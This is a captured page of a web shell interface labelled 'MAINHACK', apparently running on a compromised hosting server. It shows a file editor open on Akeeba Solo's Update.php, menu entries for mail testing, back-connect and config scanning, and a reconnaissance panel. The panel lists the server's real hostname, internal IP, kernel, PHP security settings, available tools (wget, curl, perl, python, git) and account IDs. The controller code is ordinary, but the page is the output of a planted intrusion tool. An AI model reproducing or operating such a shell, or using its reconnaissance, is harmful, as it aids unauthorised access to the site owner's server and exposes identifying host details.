[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Update.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Solo\Controller; use Awf\Text\Text; class Update extends ControllerDefault { public function main() { $force = $this->input->getInt('force', 0) == 1; /** @var \Solo\Model\Update $model */ $model = $this->getModel(); $model->load($force); parent::main(); } public function download() { /** @var \Solo\Model\Update $model */ $model = $this->getModel(); $model->prepareDownload(); $this->layout = 'download'; $this->display(); } public function downloader() { $json = $this->input->get('json', '', 'raw'); $params = json_decode($json, true); /** @var \Solo\Model\Update $model */ $model = $this->getModel(); if (is_array($params) && !empty($params)) { foreach ($params as $k => $v) { $model->setState($k, $v); } } // Set a very long timeout and a very big memory limit if (function_exists('ini_set')) { @ini_set('max_execution_time', 3600); @ini_set('memory_limit', '1024M'); } $ret = $model->stepDownload(false); echo '#"\#\"#' . json_encode($ret) . '#"\#\"#'; } public function extract() { $this->csrfProtection(); $this->layout = 'extract'; /** @var \Solo\Model\Update $model */ $model = $this->getModel(); $model->createRestorationINI(); $this->display(); } public function finalise() { // Do not add CSRF protection in this view; it called after the // installation of the update. At this point the session MAY have // already expired. /** @var \Solo\Model\Update $model */ $model = $this->getModel(); $model->finalise(); $router = $this->container->router; $this->setRedirect($router->route('index.php?view=update&force=1'), Text::_('SOLO_UPDATE_COMPLETE_OK'), 'success'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697